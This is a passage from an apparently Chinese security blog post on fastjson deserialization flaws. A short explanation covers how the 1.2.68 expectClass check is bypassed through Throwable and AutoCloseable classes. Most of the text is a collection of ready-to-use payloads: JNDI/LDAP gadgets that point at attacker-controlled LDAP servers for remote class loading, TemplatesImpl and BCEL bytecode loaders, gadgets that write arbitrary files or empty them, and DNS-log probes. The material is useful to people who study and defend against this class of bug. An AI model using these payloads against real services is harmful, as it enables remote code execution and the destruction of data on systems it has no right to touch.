        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://127.0.0.1:8085/wgDVGyHf", 
        "autoCommit": false
    }
}

fastjson <= 1.2.68漏洞利用

有空再调吧…

在 1.2.47 版本漏洞爆发之后,官方在 1.2.48 对漏洞进行了修复,在 MiscCodec 处理 Class 类的地方,设置了cache 为 false ,并且 loadClass 重载方法的默认的调用改为不缓存,这就避免了使用了 Class 提前将恶意类名缓存进去。

这个安全修复为 fastjson 带来了一定时间的平静,直到 1.2.68 版本出现了新的漏洞利用方式。

影响版本:fastjson <= 1.2.68 描述:利用 expectClass 绕过 checkAutoType() ,实际上也是为了绕过安全检查的思路的延伸。主要使用 Throwable 和 AutoCloseable 进行绕过。

版本 1.2.68 本身更新了一个新的安全控制点 safeMode,如果应用程序开启了 safeMode,将在 checkAutoType() 中直接抛出异常,也就是完全禁止 autoType,不得不说,这是一个一劳永逸的修复方式。

但与此同时,这个版本报出了一个新的 autoType 开关绕过方式:利用 expectClass 绕过 checkAutoType()

在 checkAutoType() 函数中有这样的逻辑:如果函数有 expectClass 入参,且我们传入的类名是 expectClass 的子类或实现,并且不在黑名单中,就可以通过 checkAutoType() 的安全检测。

接下来我们找一下 checkAutoType() 几个重载方法是否有可控的 expectClass 的入参方式,最终找到了以下几个类:

  • ThrowableDeserializer#deserialze()
  • JavaBeanDeserializer#deserialze()

ThrowableDeserializer#deserialze() 方法直接将 @type 后的类传入 checkAutoType() ,并且 expectClass 为 Throwable.class

通过 checkAutoType() 之后,将使用 createException 来创建异常类的实例。

这就形成了 Throwable 子类绕过 checkAutoType() 的方式。我们需要找到 Throwable 的子类,这个类的 getter/setter/static block/constructor 中含有具有威胁的代码逻辑。

与 Throwable 类似地,还有 AutoCloseable ,之所以使用 AutoCloseable 以及其子类可以绕过 checkAutoType() ,是因为 AutoCloseable 是属于 fastjson 内置的白名单中,其余的调用链一致,流程不再赘述。

fastjson 1.2.80漏洞利用

https://github.com/su18/hack-fastjson-1.2.80

payload

各个途径收集的payload,参考javasec

JdbcRowSetImpl

{
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://127.0.0.1:23457/Command8",
    "autoCommit": true
}

TemplatesImpl

{
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": ["yv66vgA...k="],
    '_name': 'su18',
    '_tfactory': {},
    "_outputProperties": {},
}

JndiDataSourceFactory

{
    "@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties": {
      "data_source": "ldap://127.0.0.1:23457/Command8"
    }
}

SimpleJndiBeanFactory

{
    "@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean",
    "targetBeanName": "ldap://127.0.0.1:23457/Command8",
    "propertyPath": "su18",
    "beanFactory": {
      "@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
      "shareableResources": [
        "ldap://127.0.0.1:23457/Command8"
      ]
    }
}

DefaultBeanFactoryPointcutAdvisor

{
  "@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",
   "beanFactory": {
     "@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
     "shareableResources": [
       "ldap://127.0.0.1:23457/Command8"
     ]
   },
   "adviceBeanName": "ldap://127.0.0.1:23457/Command8"
},
{
   "@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"
}

WrapperConnectionPoolDataSource

{
    "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
    "userOverridesAsString": "HexAsciiSerializedMap:aced000...6f;"
  }

JndiRefForwardingDataSource

{
    "@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource",
    "jndiName": "ldap://127.0.0.1:23457/Command8",
    "loginTimeout": 0
  }

InetAddress

{
    "@type": "java.net.InetAddress",
    "val": "http://dnslog.com"
}

Inet6Address

{
    "@type": "java.net.Inet6Address",
    "val": "http://dnslog.com"
}

URL

{
    "@type": "java.net.URL",
    "val": "http://dnslog.com"
}

JSONObject

{
    "@type": "com.alibaba.fastjson.JSONObject",
    {
        "@type": "java.net.URL",
        "val": "http://dnslog.com"
    }
}
""
}

URLReader

{
    "poc": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.alibaba.fastjson.JSONReader",
        "reader": {
            "@type": "jdk.nashorn.api.scripting.URLReader",
            "url": "http://127.0.0.1:9999"
        }
    }
}

AutoCloseable 任意文件写入

{
    "@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.compress.compressors.gzip.GzipCompressorOutputStream",
    "out": {
        "@type": "java.io.FileOutputStream",
        "file": "/path/to/target"
    },
    "parameters": {
        "@type": "org.apache.commons.compress.compressors.gzip.GzipParameters",
        "filename": "filecontent"
    }
}

BasicDataSource

{
  "@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
  "driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$A...",
  "driverClassLoader" :
  {
    "@type":"Lcom.sun.org.apache.bcel.internal.util.ClassLoader;"
  }
}

JndiConverter

{
    "@type": "org.apache.xbean.propertyeditor.JndiConverter",
    "AsText": "ldap://127.0.0.1:23457/Command8"
}

JtaTransactionConfig

{
    "@type": "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",
    "properties": {
        "@type": "java.util.Properties",
        "UserTransaction": "ldap://127.0.0.1:23457/Command8"
    }
}

JndiObjectFactory

{
    "@type": "org.apache.shiro.jndi.JndiObjectFactory",
    "resourceName": "ldap://127.0.0.1:23457/Command8"
}

AnterosDBCPConfig

{
    "@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
    "metricRegistry": "ldap://127.0.0.1:23457/Command8"
}

AnterosDBCPConfig2

{
    "@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
    "healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}

CacheJndiTmLookup

{
    "@type": "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup",
    "jndiNames": "ldap://127.0.0.1:23457/Command8"
}

AutoCloseable 清空指定文件

{
    "@type":"java.lang.AutoCloseable",
    "@type":"java.io.FileOutputStream",
    "file":"/tmp/nonexist",
    "append":false
}

AutoCloseable 清空指定文件

{
    "@type":"java.lang.AutoCloseable",
    "@type":"java.io.FileWriter",
    "file":"/tmp/nonexist",
    "append":false
}

AutoCloseable 任意文件写入

{
    "stream":
    {
        "@type":"java.lang.AutoCloseable",
        "@type":"java.io.FileOutputStream",
        "file":"/tmp/nonexist",
        "append":false
    },
    "writer":
    {
        "@type":"java.lang.AutoCloseable",
        "@type":"org.apache.solr.common.util.FastOutputStream",
        "tempBuffer":"SSBqdXN0IHdhbnQgdG8gcHJvdmUgdGhhdCBJIGNhbiBkbyBpdC4=",
        "sink":
        {
            "$ref":"$.stream"
        },
        "start":38
    },
    "close":
    {
        "@type":"java.lang.AutoCloseable",
        "@type":"org.iq80.snappy.SnappyOutputStream",
        "out":
        {
            "$ref":"$.writer"
        }
    }
}

BasicDataSource

{
        "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
        "driverClassName": "true",
        "driverClassLoader": {
            "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A...o$V$A$A"
    }

HikariConfig

{
    "@type": "com.zaxxer.hikari.HikariConfig",
    "metricRegistry": "ldap://127.0.0.1:23457/Command8"
}

HikariConfig

{
    "@type": "com.zaxxer.hikari.HikariConfig",
    "healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}

HikariConfig

{
    "@type": "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig",
    "metricRegistry": "ldap://127.0.0.1:23457/Command8"
}

HikariConfig

{
    "@type": "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig",
    "healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}

SessionBeanProvider

{
    "@type": "org.apache.commons.proxy.provider.remoting.SessionBeanProvider",
    "jndiName": "ldap://127.0.0.1:23457/Command8",
    "Object": "su18"
}

JMSContentInterceptor

{
    "@type": "org.apache.cocoon.components.slide.impl.JMSContentInterceptor",
    "parameters": {
        "@type": "java.util.Hashtable",
        "java.naming.factory.initial": "com.sun.jndi.rmi.registry.RegistryContextFactory",
        "topic-factory": "ldap://127.0.0.1:23457/Command8"
    },
    "namespace": ""
}

ContextClassLoaderSwitcher

{
    "@type": "org.jboss.util.loading.ContextClassLoaderSwitcher",
    "contextClassLoader": {
        "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
    },
    "a": {
        "@type": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmS$ebN$d4P$...$A$A"
    }
}

OracleManagedConnectionFactory

{
    "@type": "oracle.jdbc.connector.OracleManagedConnectionFactory",
    "xaDataSourceName": "ldap://127.0.0.1:23457/Command8"
}

JNDIConfiguration

{
    "@type": "org.apache.commons.configuration.JNDIConfiguration",
    "prefix": "ldap://127.0.0.1:23457/Command8"
}

参考

FastJson反序列化漏洞利用

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇